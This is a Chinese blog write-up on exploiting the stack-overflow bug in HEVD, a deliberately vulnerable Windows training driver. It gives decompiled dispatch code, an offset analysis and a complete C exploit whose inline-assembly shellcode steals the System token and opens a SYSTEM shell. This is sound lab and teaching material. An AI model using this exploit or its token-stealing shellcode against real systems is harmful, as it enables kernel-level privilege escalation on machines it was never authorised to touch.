静态分析
分析DriverEntry以及IRP_MJ_DEVICE_CONTROL的派遣函数,得到如下就是DeviceIoControl的派遣函数
NTSTATUS __stdcall IrpDeviceIoCtlHandler(_DEVICE_OBJECT *DeviceObject, _IRP *Irp)
{
NTSTATUS NtStatus; // ebx
_IO_STACK_LOCATION *CurrentStackLocation; // eax
_IO_STACK_LOCATION *pStack; // ebx
LARGE_INTEGER *IoctlCode; // ecx
void (*DbgPrintEx)(ULONG, ULONG, PCSTR, ...); // esi
int UaFObjectNonPagedPoolIoctlHandler; // eax
const char *strBuffer; // [esp-4h] [ebp-10h]
NtStatus = 0xC00000BB;
CurrentStackLocation = Irp->Tail.Overlay.CurrentStackLocation;
if ( CurrentStackLocation )
{
pStack = Irp->Tail.Overlay.CurrentStackLocation;// 获取当前设备栈
IoctlCode = (LARGE_INTEGER *)CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
switch ( (unsigned int)IoctlCode )
{ // IOCTL CODE 从0x222003开始,每次递增4
case 0x222003u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******n");
UaFObjectNonPagedPoolIoctlHandler = BufferOverflowStackIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK ******n";
goto LABEL_4;
case 0x222007u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******n");
UaFObjectNonPagedPoolIoctlHandler = BufferOverflowStackGSIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS ******n";
goto LABEL_4;
case 0x22200Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ARBITRARY_WRITE ******n");
UaFObjectNonPagedPoolIoctlHandler = ArbitraryWriteIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_ARBITRARY_WRITE ******n";
goto LABEL_4;
case 0x22200Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = BufferOverflowNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x222013u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = AllocateUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x222017u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = UseUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x22201Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = FreeUaFObjectNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x22201Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = AllocateFakeObjectNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x222023u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_TYPE_CONFUSION ******n");
UaFObjectNonPagedPoolIoctlHandler = TypeConfusionIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_TYPE_CONFUSION ******n";
goto LABEL_4;
case 0x222027u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_INTEGER_OVERFLOW ******n");
UaFObjectNonPagedPoolIoctlHandler = IntegerOverflowIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_INTEGER_OVERFLOW ******n";
goto LABEL_4;
case 0x22202Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******n");
UaFObjectNonPagedPoolIoctlHandler = NullPointerDereferenceIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_NULL_POINTER_DEREFERENCE ******n";
goto LABEL_4;
case 0x22202Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n");
UaFObjectNonPagedPoolIoctlHandler = UninitializedMemoryStackIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK ******n";
goto LABEL_4;
case 0x222033u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = UninitializedMemoryPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_UNINITIALIZED_MEMORY_PAGED_POOL ******n";
goto LABEL_4;
case 0x222037u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DOUBLE_FETCH ******n");
UaFObjectNonPagedPoolIoctlHandler = DoubleFetchIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_DOUBLE_FETCH ******n";
goto LABEL_4;
case 0x22203Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******n");
UaFObjectNonPagedPoolIoctlHandler = InsecureKernelFileAccessIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_INSECURE_KERNEL_FILE_ACCESS ******n";
goto LABEL_4;
case 0x22203Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******n");
UaFObjectNonPagedPoolIoctlHandler = MemoryDisclosureNonPagedPoolIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL ******n";
goto LABEL_4;
case 0x222043u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******n");
UaFObjectNonPagedPoolIoctlHandler = BufferOverflowPagedPoolSessionIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_PAGED_POOL_SESSION ******n";
goto LABEL_4;
case 0x222047u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_WRITE_NULL ******n");
UaFObjectNonPagedPoolIoctlHandler = WriteNULLIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_WRITE_NULL ******n";
goto LABEL_4;
case 0x22204Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = BufferOverflowNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x22204Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = MemoryDisclosureNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_MEMORY_DISCLOSURE_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x222053u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = AllocateUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x222057u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = UseUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x22205Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = FreeUaFObjectNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x22205Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = AllocateFakeObjectNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x222063u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_CREATE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x222067u:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_SET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x22206Bu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_GET_ARW_HELPER_OBJECT_NAME_NON_PAGED_POOL_NX ******n";
goto LABEL_4;
case 0x22206Fu:
DbgPrintEx = (void (*)(ULONG, ULONG, PCSTR, ...))_DbgPrintEx;
_DbgPrintEx(0x4Du, 3u, "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n");
UaFObjectNonPagedPoolIoctlHandler = DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler(Irp, pStack);
strBuffer = "****** HEVD_IOCTL_DELETE_ARW_HELPER_OBJECT_NON_PAGED_POOL_NX ******n";
LABEL_4:
NtStatus = UaFObjectNonPagedPoolIoctlHandler;
DbgPrintEx(0x4Du, 3u, strBuffer);
break;
default:
_DbgPrintEx(0x4Du, 3u, "[-] Invalid IOCTL Code: 0x%Xn", IoctlCode);
NtStatus = 0xC0000010;
break;
}
}
Irp->IoStatus.Information = 0; // 完成IRP请求
Irp->IoStatus.Status = NtStatus;
IofCompleteRequest(Irp, 0);
return NtStatus;
}
该漏洞关键点
定位到栈溢出靶场IOCTL_CODE后我们最终一下这个IOCTL_CODE处理流程,如上图所示,就是打印了一些调试信息即调用BufferOverflowStackIoctlHandler,并且将当前的设备栈(15行处获取的)以及IRP请求作为参数,继续跟进BufferOverflowStackIoctlHandler,得到如下代码:
int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
{
int NtStatus; // ecx
_NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx
NtStatus = 0xC0000001;
Parameters = IrpSp->Parameters.CreatePipe.Parameters;// 获取参数
if ( Parameters )
return TriggerBufferOverflowStack(Parameters, IrpSp->Parameters.Create.Options);
return NtStatus;
}
是不是看到Parameters.CreatePipe.Parameters有点疑惑,我们在驱动开发的时候好像没用过这玩意,我也是在这傻逼了,百度一通以为是自己知识点薄弱漏了啥,结果百度了个寂寞,直接看反汇编终于找到原因,符号的锅啊,没这么无语过。
PAGE:0044517E ; =============== S U B R O U T I N E =======================================
PAGE:0044517E
PAGE:0044517E ; Attributes: bp-based frame
PAGE:0044517E
PAGE:0044517E ; int __stdcall BufferOverflowStackIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp)
PAGE:0044517E _BufferOverflowStackIoctlHandler@8 proc near
PAGE:0044517E ; CODE XREF: IrpDeviceIoCtlHandler(x,x)+51↑p
PAGE:0044517E
PAGE:0044517E Irp= dword ptr 8
PAGE:0044517E IrpSp= dword ptr 0Ch
PAGE:0044517E
PAGE:0044517E 55 push ebp
PAGE:0044517F 8B EC mov ebp, esp
PAGE:00445181 8B 45 0C mov eax, [ebp+IrpSp]
PAGE:00445184 B9 01 00 00 C0 mov ecx, 0C0000001h ; NtStatus
PAGE:00445189 8B 50 10 mov edx, [eax+10h] ; IrpSp->Parameters.DeviceIoControl.Type3InputBuffer
PAGE:0044518C 8B 40 08 mov eax, [eax+8] ; IrpSp->Parameters.DeviceIoControl.InputBufferLength
PAGE:0044518F 85 D2 test edx, edx ; 判断输入是否为空
PAGE:00445191 74 09 jz short loc_44519C ; 如果为空直接返回
PAGE:00445191
PAGE:00445193 50 push eax ; Size
PAGE:00445194 52 push edx ; UserBuffer
PAGE:00445195 E8 08 00 00 00 call _TriggerBufferOverflowStack@8 ; TriggerBufferOverflowStack(UserBuffer,Size)
PAGE:00445195
PAGE:0044519A 8B C8 mov ecx, eax
PAGE:0044519A
PAGE:0044519C
PAGE:0044519C loc_44519C: ; CODE XREF: BufferOverflowStackIoctlHandler(x,x)+13↑j
PAGE:0044519C 8B C1 mov eax, ecx
PAGE:0044519E 5D pop ebp
PAGE:0044519F C2 08 00 retn 8
PAGE:0044519F
PAGE:0044519F _BufferOverflowStackIoctlHandler@8 endp
注意这里Parameters是一个联合体,我们的DeviceIoControl用的是
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
参考:https://blog.csdn.net/lanzheng_1113/article/details/50642898BufferOverflowStackIoctlHandler这个函数中就是把R3的输入缓冲区取以及输入缓冲区大小拿出来作为参数传递给TriggerBufferOverflowStack进行下一步调用。继续跟进到TriggerBufferOverflowStack这个函数看看,得到如下代码
int __stdcall TriggerBufferOverflowStack(void *UserBuffer, unsigned int Size)
{
unsigned int KernelBuffer[512]; // [esp+10h] [ebp-81Ch] BYREF
CPPEH_RECORD ms_exc; // [esp+814h] [ebp-18h]
memset(KernelBuffer, 0, sizeof(KernelBuffer));
ms_exc.registration.TryLevel = 0;
ProbeForRead(UserBuffer, 0x800u, 1u); // 校验内存是否是Ring3的内存,长度为0x800
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer: 0x%pn", UserBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] UserBuffer Size: 0x%Xn", Size);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer: 0x%pn", KernelBuffer);
_DbgPrintEx(0x4Du, 3u, "[+] KernelBuffer Size: 0x%Xn", 2048);
_DbgPrintEx(0x4Du, 3u, "[+] Triggering Buffer Overflow in Stackn");
memcpy(KernelBuffer, UserBuffer, Size); // 从用户缓冲区拷贝数据到内核缓冲区,由于这里只是做了简单的可读校验,并没有校验用户缓冲区数据长度导致栈溢出
return 0;
} // 512x4=0x800,所以我们在用户缓冲区填充0x800字节无效数据后就会溢出.
在这里,只是对R3地址的有效性进行了校验,校验长度为0x800,然后就无脑内存拷贝到内存层的这块缓冲区,并没有校验输入缓冲区的大小长度是否合法(有没有超过内核缓冲区大小),栈溢出也就产生与此,查看内核缓冲区大小为512x4=0x800字节,所以我们R3填充0x800字节数据后就可以实现溢出,不过这里也就分析,下一步就是确定具体需要多少个字节才可以淹没返回地址实现ret2text,查看堆栈情况,得到如下信息
可以看到KernelBuffer处于ebp-0x81c的位置,返回地址位于ebp+4的位置,所以需要在KernelBuffer上填写0x81c+0x4=0x820个字节才可以覆盖到返回地址处,当然这里对于玩PWN的而已一眼就可以看出。
下一步就是构造exp了。
EXP
最终得出如下EXP
BOOL g_bIsExecute = FALSE;
VOID Ring0ShellCode();
int main()
{
HANDLE hDevice = NULL;
DWORD dwReturnLength = 0;
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi = { 0 };
// 打开驱动设备
hDevice = CreateFile(LINK_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("CreateFile Error");
return -1;
}
CONST DWORD dwIputSize = 0x820 + 0x4; // 0x820用来填充垃圾数据,随后4字节填充返回地址
CHAR szInputData[dwIputSize] = { 0 };
*(PDWORD)(szInputData + 0x820) = (DWORD)Ring0ShellCode; // 指定返回地址为ShellCode
// 与驱动设备进行交互
if (!DeviceIoControl(hDevice,
IOCTL,
szInputData,
dwIputSize,
NULL,
0,
&dwReturnLength,
NULL))
{
printf("DeviceIoControl Error");
goto exit;
}
si.cb = sizeof(si);
if (!CreateProcess(TEXT("C:\Windows\System32\cmd.exe"),
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi))
{
printf("CreateProcess");
goto exit;
}
exit:
if (hDevice) CloseHandle(hDevice);
system("pause");
return 0;
}
VOID __declspec(naked) Ring0ShellCode()
{
// 保存现场开辟恶意函数的栈空间
__asm
{
pushfd
pushad
sub esp, 0x40
}
// 关闭页保护
__asm
{
// 关中断
cli
mov eax, cr0
and eax, ~0x10000
mov cr0, eax
}
// System进程的PID是0x4,这里实际上就是找System进程将其Token复制到当前进程
// 这样当前进程就拥有了System权限,Nt System
__asm
{
// 取当前线程
mov eax, fs: [0x124]
// 取线程对应的EPROCESS
mov esi, [eax + 0x150]
mov eax, esi
searchWin7 :
mov eax, [eax + 0xB8]
sub eax, 0x0B8
mov edx, [eax + 0xB4]
cmp edx, 0x4
jne searchWin7
mov eax, [eax + 0xF8]
mov[esi + 0xF8], eax
}
// 开起页保护
__asm
{
mov eax, cr0
or eax, 0x10000
mov cr0, eax
// 开中断
sti
}
// 设置标记
g_bIsExecute = TRUE;
// 平栈并恢复现场
__asm
{
add esp, 0x40
popad
popfd
// 这里是在设置状态返回值(NTSTATUS)为STATUS_SUCCESS.
xor eax, eax
pop ebp
// 由于stdcall,函数负责平栈,参数两个大小为8
ret 8
}
}
总结
好久没更新文章了,水一篇以前的笔记。
原文始发于微信公众号(安全之道):HEVD系列之栈溢出
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论